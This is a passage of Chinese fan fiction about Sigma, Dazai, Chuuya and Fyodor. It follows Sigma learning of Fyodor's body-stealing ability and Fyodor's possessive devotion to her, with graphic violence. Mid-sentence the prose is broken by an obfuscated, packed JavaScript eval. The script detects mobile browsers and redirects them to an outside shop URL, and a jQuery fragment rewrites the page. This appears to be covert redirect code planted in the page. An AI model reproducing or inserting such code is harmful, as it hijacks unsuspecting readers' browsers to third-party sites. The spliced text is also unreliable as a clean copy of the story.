命令简洁而狠戾,不带一丝转圜的余地。 “是!” 一旁的护卫们齐声应道,声音铿锵有力,在空旷的地牢里久久回荡,带着不容违抗的服从。 就在这时,四周的空间再次剧烈震颤,原本就布满裂痕的白色碎片,开始大面积崩塌,化作点点荧光消散在黑暗中。 ——这片记忆的世界,快要支撑不住了。 西格玛咬紧牙关,强忍着意识被撕裂的痛感,催促着记忆快进。 她必须看到结局,必须知道费奥多尔的命运! 画面飞速流转,很快便到了黎明时分。 “喔喔喔喔——!” 清脆的鸡鸣声穿透地牢的厚重铁门,刺破了黎明前最后的沉寂,在空旷的石室内回荡不休。 一旁的护卫眼中寒光一闪,上前一步,手中的刺枪直指被绑在墙上的费奥多尔,语气冰冷无波:“是鸡鸣,该将汝处刑了。” 费奥多尔的面色依旧平静得惊人,眼睑微垂,长长的睫毛在苍白的脸颊上投下浅浅的阴影,仿佛即将面临的不是死亡,而是一场无关紧要的小憩。 这是费奥多尔的记忆,也就是说,他逃脱了这次处刑,他是怎么做到的? 西格玛的意识瞬间紧绷,心脏在无形的囚笼里狂跳。 或许能看到费奥多尔的能力……! 她屏住呼吸,死死盯着画面中的每一个细节。 只见那名身穿铠甲的护卫手臂肌肉紧绷,猛地发力,将锋利的刺枪狠狠刺入绑在墙上的费奥多尔胸口! “噗嗤——” 利刃穿透皮肉的闷响清晰可闻,费奥多尔的身体猛地一颤,口中喷出一口温热的鲜血,顺着嘴角蜿蜒而下,滴落在冰冷的石板上,绽开一朵朵暗红的花。 胸口的伤口处,鲜血汩汩涌出,很快便染红了他身前的粗布衣衫。 ……唉? 西格玛愣愣地看着这一幕,意识仿佛被冻结。 刺枪贯穿胸膛,如此致命的伤,他怎么可能活下来? 费奥多尔垂着头,凌乱的黑发遮住了他的表情,只有肩膀微微耸动着。 下一秒,一声低低的、带着诡异笑意的呢喃从他唇边溢出:“……啊啊……” 那笑声轻得像羽毛,却透着一股令人毛骨悚然的意味。 紧接着,他的身体便软软地瘫了下去,脑袋无力地垂向一侧,再也没有了动静。 死……死了……? 西格玛的手指在意识中微微揪紧,指尖泛白。 心脏传来一阵莫名的滞涩感,她难以置信地看着眼前的画面。 她看着那名护卫缓缓将刺枪从费奥多尔的胸口拔出,枪尖滴落的鲜血溅在石板上,发出“滴答”的轻响。 而墙上的费奥多尔依旧毫无动静,头颅低垂,发丝被鲜血濡湿,贴在脖颈上,看起来已然气绝。 结束了?就这样结束了? 是冒牌货吗? 可这是费奥多尔的记忆,通过异能读取到的,理应是他亲身经历的一切…… 这个念头刚冒出来,就被她自己推翻。 可如果是本人,这样的伤势怎么可能生还? 费奥多尔的异能,到底藏着怎样的秘密? 西格玛的目光死死锁定在那名护卫身上,看着他缓缓抬手,摘下了沉重的头盔。 露出来的是一张普通的、带着几分麻木的脸庞,可下一秒,异变陡生。 那护卫猛地捂住自己的脸,手指死死抠着皮肤,像是要将什么东西从脸上剥离。 他发出压抑的、痛苦的闷哼:“唔……唔……” 声音里满是难以言喻的挣扎,在空旷的地牢里格外刺耳。 什么?发生了什么? 西格玛的意识骤然绷紧,死死盯着眼前的异变。 护卫的挣扎越来越剧烈,他开始疯狂撕扯自己的脸,铠甲碰撞发出杂乱的声响,闷哼逐渐变成凄厉的呼喊,最终化作撕心裂肺的惨叫:“啊啊啊啊啊——!” 那声音穿透记忆空间的壁垒,带着令人毛骨悚然的痛苦,仿佛灵魂都在被撕裂。 惨叫声戛然而止。 护卫的身体停止了颤抖,他缓缓低下头,又猛地挺起身子,像是被某种力量操控着。 紧接着,那护卫缓缓抬起头,脸上的皮肤早已恢复平整,没有丝毫撕扯过的痕迹。 那张苍白而俊美的脸,带着熟悉的漠然与浅笑——是费奥多尔! 西格玛的意识如遭雷击,彻底僵在原地。 难以置信……这就是费奥多尔的异能? “让杀死自己的人,变成自己……” 她在心里喃喃自语,这个念头像一道闪电,劈开了所有的迷雾。 原来如此,这就是他一次次化险为夷的秘密,也是他最核心的底牌! 必须赶快告诉武装侦探社!告诉太宰治! 这个念头刚冒出来,整个记忆空间便开始疯狂崩塌,碎片纷飞,黑暗如潮水般涌来,将她的意识包裹。 她能感觉到,自己的意识正在被强行拉回躯体,这个记忆迷宫即将彻底消散。 自己……即将醒来。 太宰治的指尖落在西格玛的腕间,脉搏平稳得像沉睡的湖面,体温也没有异常的灼热或冰冷。 他微微蹙眉,鸢色的眸子里漫过一丝沉凝。 ——明明体征一切正常,人却像坠入了最深的梦魇,完全没有苏醒的迹象。 费奥多尔到底对她做了什么? 这个念头刚在脑海里扎下根,就被一阵极轻的颤动搅碎。 是西格玛的眼睫,像濒死的蝶翼般翕动了两下,随即缓缓掀开一条缝。 淡粉色眼眸裹着水汽,视线还带着未散的昏沉。 她望着俯身的太宰治,声音沙哑得像揉碎的砂纸:“太宰……你没事?” 太宰治悬着的那口气骤然松了。 刚才的担忧、对费奥多尔的忌惮,甚至一丝不愿深究的恐慌,都在她睁眼时烟消云散,化作胸腔里轻轻漾开的、连呼吸都变得轻快的暖意。 他垂眸凝视那双淡粉眼眸,鸢色瞳孔映着她苍白的脸与纯粹的关切,心脏像是被什么柔软的东西轻轻撞了一下。 醒来第一反应居然是担心他? 这个认知让太宰治愣了愣。 鸢色眸子里未褪的沉凝瞬间被打乱,涌上一股复杂的情绪。 这种被人放在心上的感觉太过陌生,陌生到让他本能地想要逃避。 想要用戏谑的外壳,将这份突如其来的真诚包裹、稀释,免得那份柔软暴露在空气里,被现实碾得粉碎。 他迅速敛去眼底一闪而过的动容,喉间溢出一声低笑,唇角勾起惯常的狡黠与轻佻。 语气里的戏谑像层薄薄的糖衣,甜得发腻,却恰好裹住底下翻涌的真实心绪。 “醒来第一反应居然是担心我吗?” 他拖长了语调,尾音带着刻意染上的缱绻笑意。 指尖下意识蹭了蹭她腕间皮肤,语气藏着不易察觉的柔软:“这样可是会让我忍不住爱上你哦?” 一旁的中原中也翻了个白眼,啧了一声,语气里满是无语:“都什么时候了,你这家伙还在没个正经地撩拨人。” 西格玛没心思去分辨他话里的真假,只是轻轻摇了摇头,重复着:“没事就好……” 意识回笼的瞬间,昏迷前的画面如潮水般涌来——费奥多尔那双紫罗兰色的眼眸,像淬了毒的寒刃,还有腹部骤然炸开的剧痛,以及自己发动异能时,脖颈处传来的钝痛。 她下意识地抬手,触到腹部缠得紧实的包扎,动作猛地顿住。 “是费奥多尔给你包扎的。”太宰治像是看穿了她眼底的疑惑,语气平淡得像在陈述一件无关紧要的小事,“在你昏迷之后。” 西格玛的瞳孔骤然收缩,错愕像冰棱般划过眼底,随即被更深的茫然淹没。 费奥多尔为什么要救她? 是为了把她当成下一个棋子,还是藏着什么更阴狠的图谋? 无数个疑问在脑海里盘旋冲撞,让本就昏沉的脑袋胀痛得像是要裂开。 她定了定神,看向太宰治,声音里带着一丝急切:“现在……你在这里,也就是说,那场决斗,你赢了,对吗?费奥多尔他……” “是啊。”太宰治弯了弯唇,语气轻描淡写,“费奥多尔已经死了。” “不——!” 西格玛像是被这句话狠狠攥住了心脏,骤然发出一声痛苦的呜咽,脸色瞬间惨白如纸。 她蜷起手指,指尖深深掐进掌心,声音里带着绝望的颤抖:“这才是……更糟糕的事……” “[让杀死自己的人,变成自己]——那是费奥多尔的异能。” 她的话音落下的瞬间,周遭的空气仿佛都凝固了。 “也就是说……”西格玛的声音细若蚊蚋,却字字清晰,“费奥多尔现在……还活着。” 活着。 这两个字像重锤般砸在人心上。 对西格玛而言,费奥多尔还活着这件事,甚至比她自己的死亡还要可怕。 那是一种深入骨髓的恐惧,是被毒蛇盯上的猎物,连呼吸都带着冰冷的窒息感。 “别管我……”她挣扎着想要起身,却被身体的无力感拽回原地,只能急切地看向太宰治,“快去看尸体!去确认……” “怎么可能把你一个人丢在这里?”太宰治的语气难得的认真,他伸手按住西格玛的肩膀,力道不重,却带着不容置疑的笃定,“不是说好了吗?我一定会带你活着出去的。” 他抬眼,看向一旁抱着手臂的中原中也,朝他扬了扬下巴:“喂,矮子,搭把手。” 中原中也啧了一声。 “谁是矮子啊!” 斥责的话脱口而出,他却没再多纠缠,几步上前帮忙搭手。 指尖刚触到西格玛的手腕,红色的异能光晕便无声漾开,重力异能悄然发动。 西格玛的身体轻得像一片羽毛,在中原中也异能的红色光晕中,缓缓漂浮起来。 中原中也俯身,干脆利落地将人打横抱起。 他的动作算不上温柔,却带着难得的稳妥,避免让她牵扯到腹部的伤口。 旁边的太宰治那只原本想伸出去的手缩了缩,指尖几不可察地蜷缩了一下。 待看清中原中也稳妥的怀抱,他才缓缓放平手指,垂在身侧,唇角勾起一抹极淡的笑。 这样也好。 太宰治站在原地未动,鸢色眼眸淡淡落在两人背影上,倒也没再添什么戏谑的话,任由中原中也抱着西格玛先行迈步。 而被怀中人的重量轻轻压着手臂的中原中也,鼻尖却莫名萦绕着一缕极淡的香气。 他下意识地,微不可察地嗅了嗅。 ——那气息像是被雨水打湿的甘草,混着尘埃的味道。 清浅得近乎虚幻,却又执拗地钻入鼻腔。 鬼使神差地,他又轻轻嗅了一下。 视线不经意间垂下,恰好对上西格玛那双低垂着的、裹着水汽的淡粉色眼眸。 那眸子里还凝着未散的虚弱,却藏着一丝茫然的澄澈。 中原中也像被烫到一般,猛然抬头,耳尖几不可察地泛起一丝热意。 自己在想些什么呢! 他猛地蹙眉,下颌线绷出冷硬的弧度。 像是要将那些乱窜的、连自己都辨不清的纷乱思绪,硬生生从脑海里剜出去,排空得一干二净。 “走吧。” 中原中也闷声吐出两个字,声音里带着几分刻意压制的沉郁。 手臂下意识地收紧了些,将怀中人护得更稳,脚步沉稳地转身就走。 中原中也在前面走着,后面太宰治紧跟其后。 两人一前一后,裹挟着怀中的西格玛,在监狱空旷冰冷的走廊里快速穿行。 不过片刻,那片标志性的飞机残骸,便已清晰地出现在视野里。 中原中也解除重力,红色的异能光晕悄然褪去。 他双手的力道缓缓松了松,小心翼翼地将怀中人往地面放落,动作比抱起时多了几分不易察觉的轻柔。 西格玛的发丝随着俯身的动作,轻轻拂过中原中也的臂弯。 那股熟悉的香气又漫了过来,清浅却执拗地钻入鼻腔,在他的嗅觉里留下淡淡的余韵。 直到这时,中原中也才恍然察觉。 ——那股淡淡的香气,正是从她发间传来的。 西格玛的脚尖刚触到地面,双腿还带着未散的虚软,身体不受控制地晃了晃。 他眼疾手快地扶了她一把,掌心贴着她微凉的手臂,待她站稳便立刻收回手。 “谢谢您。”西格玛的声音很轻,带着一丝虚弱。 中原中也没应声,只是抬眼看向那堆扭曲的金属残骸。 太宰治已经率先走了过去,他弯腰,从变形的机舱缝隙里拽出一具尸体。 那是一具少了右手的尸体,衣衫破烂,沾满了血污。 他蹲下身,指尖勾住尸体的衣领,利落地将人翻了过来。 那是一张全然陌生的脸。 中原中也低头看着这具尸体,眉头皱得死紧:“这谁啊?” 西格玛的视线落在那张陌生的脸上,瞳孔猛地一缩。 她闭上眼,长长的睫毛剧烈地颤抖着,声音里浸满了压抑的痛苦:“抱歉……我没有看到更多……” “你已经做得足够好了,西格玛。” 太宰治站起身,拍了拍手上的灰尘,语气平静,眼底却掠过一丝锐利的光。 他的指尖轻轻摩挲着下巴,脑海里的思绪飞速运转,一个个碎片般的线索逐渐拼凑完整。 杀死费奥多尔的是吸血鬼……不,更准确地说,是控制吸血鬼的布拉姆。 那家伙的死,从一开始就在他的计划之内! 一股寒意顺着脊背 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193634|197107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爬上脖颈,太宰治的眸色彻底沉了下来,他低声自语,语气里带着不容忽视的凝重:“必须得赶紧告诉乱步先生才行……” —————— 费奥多尔屈膝迈入机舱,指尖即将触碰到机舱金属把手的瞬间—— 一道裹挟着沉郁的声线缠了上来,像冬日里不肯散去的雾。 “费佳!西格玛怎么了?” 果戈里双手交握在杖头,银霜般的十字瞳凝定在他身上。 语调平静得像是在询问一件无关紧要的寻常事,可那瞳仁深处翻涌的在意,却直白得无从掩饰。 在费奥多尔眼中,这模样可笑至极。 他竟然以为自己有资格索要西格玛的下落。 费奥多尔的唇角牵起一抹薄如冰裂的笑意,语调轻缓:“她很勇敢哟。” 这句话带着几分真心。 那个凭空诞生的孩子,在恐惧的裹挟下,还是做出了选择,宛如迷途羔羊闯进了深渊。 可话音微顿后,他却故意将尾音放得轻如叹息:“但是,她应该再也不会醒来了吧。” 这是一句动听的谎言。 费奥多尔清楚地知晓,此刻的西格玛正躺在监控室的地板上,呼吸平稳得如同陷入沉睡。 可他偏要告诉果戈里,西格玛死了。 他得不到西格玛,那果戈里也不该得到。 毕竟,他们可是挚友啊。 挚友之间,本就该共享这份名为“失去”的滋味。 醒着的西格玛,会被他好好藏起来,锁在只有他能看见的地方,和他永远在一起。 ——和西格玛永远在一起。 这个念头突兀地撞进脑海时,费奥多尔的指尖几不可察地蜷了一下。 不知不觉间,西格玛已经影响到他这种程度了吗? 费奥多尔怎么会察觉不到西格玛对他的影响。 从她第一次用那双纯粹到近乎愚蠢的眼睛望向他,从她每一次因他而生的惶惑与颤抖开始,她就像一枚偏离轨道的流星,硬生生撞进了他严密运转的思维宇宙。 他只是在纵容。甚至,在无人窥见的内心深处,他偷偷享受着这份背离理智的动摇。 她总是能轻易让他精心维持的冷静出现裂痕。 让他在推演灭世棋局的间隙,目光不由自主追随着她微蹙的眉头,泛白的指节。 他爱她吗? 费奥多尔在心底无声自问。 爱——这个被世人嚼得烂熟的字眼,轻飘飘的,却带着灼人的温度,烫得他的思维微微滞涩。 费奥多尔看着自己掌心的纹路,看着那纵横交错间,如蛛网般密织的、属于棋手的杀伐决断,忽然就笑了。 是的,他爱她。 爱她的纯粹,爱她的惶惑,爱她那双映着他身影的、干净得近乎愚蠢的眼睛。 费奥多尔嘴角的笑意深了些。 她是如此的可爱。 与此同时,他的眼睫微微垂下,遮住了眼中晦暗的情绪。 也正因为爱,也正是因为如此—— 他不能将她留在自己身边。 他不能让她再这般深刻地影响自己的行为,影响那盘关乎世界存亡的棋局。 她影响自己太深了,深到快要漫过他坚守的信仰底线。 这可不行。 他的理想,净化世界的宏愿,必须凌驾于一切个人情感之上,哪怕这份情感是他贫瘠生命中唯一鲜活的例外。 她必须离开。 直升机的旋翼搅碎云层,轰鸣声震得舱壁微微发颤,气流卷着金属冰冷的气息扑在脸上。 费奥多尔倚在座椅上,紫眸里维持着惯常的冷寂,像结了千年寒冰的湖面,不起一丝波澜。 只是那冰层深处,藏着一丝连他自己都不愿深究的松动,像被雪盖住的春芽,脆弱又执拗。 他早该让西格玛离开的。 这个被世界凭空捏造的孩子,本该是他棋盘上最易操控的棋子,却偏偏成了钻进制胜逻辑里的沙砾,硌得他那无懈可击的棋局,裂开了一道细缝。 一道足以让他窥见自身荒谬,却又甘之如饴的细缝。 费奥多尔想,他爱西格玛,西格玛属于他,所以也该由他来做出选择。 若是从前的他,一定会毫不犹豫地将这枚失控的棋子碾碎。 紫罗兰色的眼眸沉淀着暗涌的光泽,却又在顷刻间归于平静。 但西格玛是他的偏爱。 所以他选择放手。 放弃杀死她的念头,放弃将她禁锢身边的操控,甚至……可以为了重新校准她带来的变量,暂缓那套急于求成的灭世蓝图。 计划,暂缓。 这不是妥协,而是他费奥多尔·D的权衡与选择。 计划需要修改。 他的理想从不会因任何人动摇,只是他忽然觉得,不必急于一时。 毕竟,他和西格玛还有很长的时间。 长到足够他看着她在光明里流连,长到足够他等到她回头,看见身后那道永远属于他的阴影。 心底漫上来的那股沉郁,不是尖锐的痛,是独属于斯拉夫人灵魂里的тоска。 是无因由的怅惘,是明知不该、却偏生了牵绊的,灵魂深处的空洞。 却又在这份空洞里,滋生出一丝近乎狂妄的笃定——她的灵魂,永远属于他。 费奥多尔垂眸看着手腕上缠着的绷带,那是太宰治留给他的伤,白得刺眼。 伤口不算深,却足够打乱他的部署,逼得他启用备用方案,让布拉姆麾下的吸血鬼接手直升机的驾驶权。 这是第一个变数。 他早已知晓这是太宰治的算计。 那个与他棋逢对手的男人,太了解他了,精准地抓住了他不信“无法掌控的同伴”这一致命缺陷。 只是费奥多尔未曾料到,这不过是对方全套陷阱的开端。 而第二个变数,来得猝不及防。 驾驶座上的吸血鬼忽然转身,猩红的眸子里没有了往日的顺从,取而代之的是淬着决绝的冰冷。 棍棒插入腹部的瞬间,剧痛如同岩浆般炸开,顺着血脉蔓延开来,却没让费奥多尔露出半分惊慌。 他甚至没有皱眉,只是微微眯起眼,想起了被自己刺伤的西格玛,想起她当时苍白的脸和颤抖的指尖。 真疼啊,西格玛。 他想。 我也受到了加倍疼痛的惩罚了呢。 剧痛并未让他的意识混乱,反而异常清明。 他看着中原中也摘下隐形眼镜,露出那双燃烧着怒火的苍蓝眼眸,看着他笨拙地掰着嘴角那副可笑的獠牙。 原来,他从不是吸血鬼。 视线再转向机舱门口的太宰治,对方额前渗血的伤口还在隐隐泛红,脸上却挂着狡黠又凉薄的笑。 费奥多尔瞬间明白了一切:那场头部中弹的戏码,不过是他与中原中也联手演的一出闹剧。 重力延缓子弹速度,电梯里的顺利逃脱,水浸策略的声东击西……所有的一切,都是为了让他一步步踏入这个精心编织的陷阱。 太宰治算准了他的伤口会迫使他依赖吸血鬼,算准了江户川乱步能成功策反布拉姆,更算准了他对“不可控”的极致排斥。 好一出精妙的棋局。 直升机失控般朝着高楼狠狠撞去,轰鸣的旋翼卷起狂风,尖锐的声响像是濒死的哀嚎。 鲜血染红了费奥多尔洁白的囚服,顺着指缝不断滴落,喉间涌上的腥甜带着浓重的铁锈味。 他没有嘶吼,也没有挣扎,只是喉间滚出一声极轻的“慢着”。 那声音里没有太多不甘,更多的是一种棋逢对手的错愕。 像猎手看见猎物反设的陷阱时,勾起的那点兴味。 太宰治站在狂风里,朝着他轻声道别:“再见了,费奥多尔。” 可他不知道,费奥多尔的异能“罪与罚”,本就是为这一刻准备的底牌。 “啊啊……神啊,神啊……你为何要遗弃我……” 这句低语从费奥多尔唇边溢出,更像是一种戏谑的嘲讽。 他从未真正信仰过神,他唯一的信仰,是自己净化世界的理想。 意识消散的前一秒,他想起的不是灭世计划的蓝图,不是与太宰治的博弈输赢。 而是西格玛捧着热茶时,那双带着惶惑与希冀的眼睛,暖得能化开西伯利亚终年不化的雪。 也好。 暂缓的计划,本就需要一场“假死”来收尾。 意识如潮水般抽离,身体的剧痛逐渐消散,异能的机制在体内轰然运转。 ——自身被杀的瞬间,杀死他的对象会成为新的容器。 费奥多尔的异能“罪与罚”,本就是为这一刻准备的底牌。 而他早已布下暗棋,要借布拉姆控制的吸血鬼之手完成转移。 太宰的算计再精妙,也不过是推动他走向既定结局的一枚棋子。 他算准了太宰会设局,算准了这场博弈的生死赌局,更算准了,自己会从这场“死亡”里,得到更完美的新生。 再次睁开眼时,映入费奥多尔眼帘的是新的光景。 他成功转移了,这是计划之内的结局。 只是这结局的触发方式,被太宰治搅得天翻地覆。 费奥多尔抬手触碰新生的躯壳,指尖依旧冰凉,像从未被暖意焐热过。 脑海中不由自主地浮现出西格玛流着泪说“我恨你”的模样,那双泛红的眼睛,像被雨水打湿的玛瑙,亮得惊人。 啊啊,我亲爱的西格玛。 费奥多尔在心底缓缓勾勒着她的眉眼,唇角勾起一抹淡得近乎看不见的笑。 这无异于你说“你爱我”啊。 灭世的计划不会停止。 在费奥多尔看来,这个腐朽的世界,终究需要他来净化。 但灭世的理想,确实不急于一时。 毕竟,他和西格玛还有很长的时间。 西格玛的存在,是费奥多尔这场盛大毁灭里唯一的、带着温度的注脚。 他放任她自由,纵容她朝着武装侦探社的方向靠近,纵容她去触碰那些他不屑的、名为“温暖”的东西。 这并非真正的放手,而是源于一种近乎狂妄的笃定。 ——她的灵魂永远属于他。 费奥多尔知道,西格玛对武装侦探社已经有了向往。 她会在光明中生长,会结识新的同伴,或许会短暂地忘记伤痛。 但费奥多尔也知道,无论怎样,身处何处,她都忘不了他。 西格玛永远忘不了他。 那些光明里的温暖,不过是她暂时的避难所,而他,才是她灵魂的归宿。 所以他不会在意西格玛在别的地方,不会在意她身边有了新的人。 她的身体或许属于那片光明,可她的灵魂,永远属于他。 属于这个将她从虚无中拽出,又亲手将她推入深渊的,费奥多尔·D。 她会带着他赋予的印记,在这个即将走向终结的世界里挣扎、前行,永远记得他。 这对费奥多尔而言,就足够了。 他的理想依旧凌驾于一切情感之上,而西格玛,是这冰冷信仰之下,他唯一愿意保留的“例外”。 一个被他牢牢攥在掌心,却又放任其翱翔的例外。 这场博弈还未结束。 太宰治,他们很快会再见面的。 而他和西格玛,还有很长、很长的时间。 足够让她明白,无论她逃到哪里,都永远活在他的阴影里,永远属于他。 费奥多尔的笑意深了些,眼底的紫沉得像浓墨,平静无波,却藏着不容置喙的掌控。 一切,尽在他的掌握之中。 20. 返回 那具苍白瘦削的身躯,缓缓抬起了头。 半长的黑色发丝垂落肩头,随着动作轻轻晃动,光线落在他轮廓分明的脸上。 俊美,又带着刺骨的清冷,薄唇微微扬起,弧度轻浅,却无半分温度。 ——那面容,赫然是费奥多尔本人。 没有丝毫布拉姆的痕迹,唯有那双深邃的紫罗兰色眼眸,眼底翻涌着属于他的冰冷算计与掌控一切的从容。 绫小路文弥僵在原地,瞳孔骤然收缩,她颤抖着,声音破碎得不成样子:“小……小布拉?” 费奥多尔没有理会她,目光缓缓扫过机场内剑拔弩张的众人。 大仓烨子率先上前一步,双手紧握成拳,即便未携武器,周身异能已隐隐翻涌,透着毫不退让的对峙之意。 福泽谕吉的手稳稳按在刀柄上,指节因用力而微微泛白,周身气场凛冽如霜,仿佛一柄蓄势待发的利刃,只需一瞬便能出鞘破局。 江户川乱步则站在福泽谕吉身侧,双手插在口袋里,镜片反光遮住了眼底神色,却也浑身紧绷,没有半分松懈。 既然计划有变,那么福地樱痴已经没用了。 费奥多尔在心底冷冷忖度。 接下来的闹剧也不需要上演了。 念头落下的瞬间,他指尖夹着的那页泛黄书页轻飘飘坠落在地,发出一声微不可闻的响动。 福泽谕吉瞳孔一缩,快步上前俯身捡起,这是——『书页』?! 就这样扔掉了? 这位素来沉稳的侦探社社长,脸上第一次浮现出难以置信的震惊。 费奥多尔见状,忽然低低笑出声来:“36年后,世界会毁灭——是我编的呢。” 此言一出,三人皆是一怔。 福泽谕吉握着书页的手微微收紧。 江户川乱步掀起眼帘,镜片后的目光闪过一丝了然。 而大仓烨子的脸色则瞬间沉了下去。 “庆幸吧。”费奥多尔话锋一转,目光掠过人群,最终落在某个方向,嘴角勾起一抹意味深长的弧度,“要感谢西格玛哦,你们现在还活着,都是因为她。” 他顿了顿,尾音拖得悠长,带着不容置疑的笃定:“照顾好我的西格玛。” “她不是任何人的所有物!”大仓烨子厉声喝道,周身异能翻涌,就要冲上前去攻击。 就在这时,一声沉闷的咳嗽响起。只见福地樱痴俯身倒在不远处的地面上,脖颈处渗出大片鲜血,脸色惨白如纸,却依旧死死盯着费奥多尔,嘶哑着嗓子下令:“烨子……停下。” 大仓烨子浑身一僵,咬着牙攥紧了拳头,最终还是不甘地收回了异能,低头应道:“……是,队长。” 费奥多尔看着这一幕,笑意更深了些,那双紫罗兰色的眼眸里满是玩味:“明智的选择。” 不远处,江户川乱步摘下眼镜,指尖轻轻摩挲着镜片边缘,眼底闪过一丝了然。 他看着费奥多尔转身离去的背影,低声喃喃:“因为西格玛……决定改变计划了吗。那样的家伙,也会有在意的人啊。” 江户川乱步忽然快步上前,拦住了正要追上去的福泽谕吉,语气笃定:“社长,让他走。” 福泽谕吉皱紧眉头,看向江户川乱步。 “不管怎么样,”江户川乱步重新戴上眼镜,镜片的反光遮住了眼底的情绪,“对方现在改变计划,对武装侦探社来说,是好事。” 费奥多尔的身影消失在机场通道的尽头,没有回头,仿佛这场搅动风云的对峙,不过是他随手落下的一枚弃子。 机场的喧嚣渐渐褪去,只一地狼藉。 福泽谕吉缓步走向倒地的福地樱痴,蹲下身,抬手攥住自己和服的袖摆,指尖用力一扯,布料撕裂的声响在寂静里格外刺耳。 他将扯下的袖摆展平,动作沉稳得近乎刻板,俯身贴近福地颈间的伤口时,指尖带着一种冰冷的克制,没有半分多余的晃动。 福地樱痴瘫在地上,视线涣散地望着天,喉间溢出一声短促的自嘲般的笑,声音沙哑得像是被砂纸磨过:“……我被骗了啊。” 他偏过头,看向蹲在身侧的福泽谕吉,那双曾经锐利如鹰的眼眸里,此刻只剩下浓重的疲惫与颓败:“杀了我吧,福泽。” “队长!”大仓烨子猛地扑过来,膝盖重重磕在地面,声音里带着哭腔,她死死盯着福地颈间的绷带,指尖都在发颤。 福泽谕吉没有停下包扎的动作,布料一圈圈缠绕,将不断渗出的鲜血牢牢裹住。 他垂着眼,目光落在两人之间的地面上,语气平静得听不出情绪,却带着不容置喙的重量:“源一郎,接下来的一生,你要用来赎罪。” 福地樱痴怔住了,他看着福泽谕吉平静的眉眼,看着那双眸中不曾动摇的坚定目光,忽然低低地笑了起来,笑声里混杂着说不清道不明的情绪,似怅然,又似释然。 笑到最后,他缓缓闭上眼睛,没有再说话,长长的睫毛在眼睑下投下一片浅淡的阴影。 大仓烨子吸了吸鼻子,泪水不受控制地滚落,砸在地面上,晕开一小片水渍。 她伸出手,轻轻握住福地冰冷的指尖,声音哽咽却无比坚定:“队长,我会陪着你一起的。” “赎罪也好,战斗也好,烨子会一直陪着队长的!” 她抬起头,望着闭目不语的福地樱痴,泪水模糊了视线,却依旧用力说道:“所以,活下来啊,队长!” 寂静蔓延了片刻。 就在大仓烨子的心脏快要跳出胸腔时,她握着的那只手,轻轻动了动。 福地樱痴的喉结滚了滚,几不可闻地,应了一声:“……嗯。” 大仓烨子猛地愣住,随即,泪水流得更凶,嘴角却不受控制地扬了起来,露出一个含泪的笑。 江户川乱步站在不远处,将这一幕尽收眼底。 他重新戴上眼镜,镜片的反光遮住了眼底的情绪,只是轻轻啧了一声,转身看向费奥多尔离去的方向,若有所思。 —————— 太宰治指尖攥着卫星电话,侧脸被屏幕透出的微弱冷光勾勒出利落轮廓。 江户川乱步转述的话语,一字一句顺着电流淌进耳中,带着不容回避的重量—— 『“庆幸吧。要感谢西格玛哦,你们现在还活着,都是因为她。照顾好我的西格玛。”』 “乱步先生,费奥多尔那家伙的话,能信吗?” 他的声音带着惯有的轻佻,却在提及“费奥多尔”时,尾音微微压低,藏着一丝不易察觉的审慎。 听筒里立刻传来江户川乱步不容置疑的笃定:“他没撒谎哦,计划确实暂停了,机场周围的陷阱全撤了,那家伙换了具躯壳,活得好好的。” “是吗……”太宰治的声音顿了顿,目光越过散落的一片狼藉,落在不远处跪坐的身影上。 西格玛浑身脱力般瘫在地面,浅色发丝凌乱地贴在汗湿的额角,面色苍白得近乎透明,下唇被牙齿咬出一道深深的红痕,连肩头细微的颤抖,都透着难以言说的疲惫与脆弱。 他下意识收紧了握着电话的手,指甲轻叩冰凉的机身,“我知道了,乱步先生,我们会尽快返回横滨。” 通话挂断的轻响落下,太宰治转身走向西格玛。 “费奥多尔没死,”他语气平淡地陈述,刻意避开了那句与她紧密相关的话,“他夺走了布拉姆的躯体,暂停计划离开了。” 西格玛闭着眼,长长的睫毛颤了颤,死死咬着下唇,没有应声。 片刻后,她缓缓睁开眼,淡粉色的眼眸像是蒙上了一层被雾气浸透的玻璃,涣散而遥远。 她开始口述,将自己窥见的费奥多尔的记忆碎片,一字一句、清晰得近乎执拗地口述出来。 说到最后,困惑爬上她苍白的脸庞,眼底蒙着一层薄薄的水雾,将原本清澈的眼眸晕染得愈发朦胧。 那层薄薄的水雾没有凝结成泪,反而让目光显得更加茫然。 西格玛的声音带着未散的沙哑,还有一种更深层次的疲惫:“我看到了他的记忆碎片……” “可他明明能让我一直触碰下去,或许……就能让我彻底迷失在他的记忆里,再也醒不过来。” 她纤长的手指无意识地蜷缩,攥着膝头的布料,指节微微泛白。 “但他没有。” 西格玛的声音低了下去,掺入了一丝几乎无法察觉的颤抖,那不止是恐惧,更是一种更尖锐的、面对无法解析之物的无措。 “他主动打晕了我,留我活着,甚至……甚至故意让我窥见了他异能力的边缘。” 她抬起头,目光却没有焦点,仿佛穿透了面前的空气,投向某个只有她能看见的、充满悖论的深渊。 “费奥多尔他……”她终于问出了那个盘旋在心底、让她坐立不安的核心问题,每个字都吐得异常艰难,“到底在想什么?” 这不像是一个简单的饶恕或疏忽。费奥多尔·陀思妥耶夫斯基的字典里没有“偶然”。 他每一个动作,每一次呼吸,都嵌合在精密如钟表齿轮的计划里。 那么,留下她的意识,让她带着关于他异能的模糊感知醒来,这本身就是一个设计。 尾音落下,寂静中弥漫开更深的迷惘。 沉默在空气中蔓延了几秒,西格玛缓缓低下头,视线落在攥紧的手背上,声音轻得像一声叹息,带着几分自责:“抱歉,我只看到了这么多,没能找到更有用的信息。” 太宰治缓缓蹲下身,与她平视。 那双总是盛满戏谑的鸢色眼眸里,此刻竟难得地褪去了几分轻佻,多了些难以名状的了然与沉静。 “你已经做得足够好了。” 他轻声说着,语气里带着一丝连自己都未察觉的温和。 太宰治当然明白费奥多尔的心思。 那个以操控人心为乐的疯子,那个视生命如草芥的谋略家,竟然也会有这般偏执的偏爱。 明明可以轻易抹杀,却选择留下。明明可以彻底掌控,却选择放手。 但如果是眼前这个人,那倒也不奇怪了。 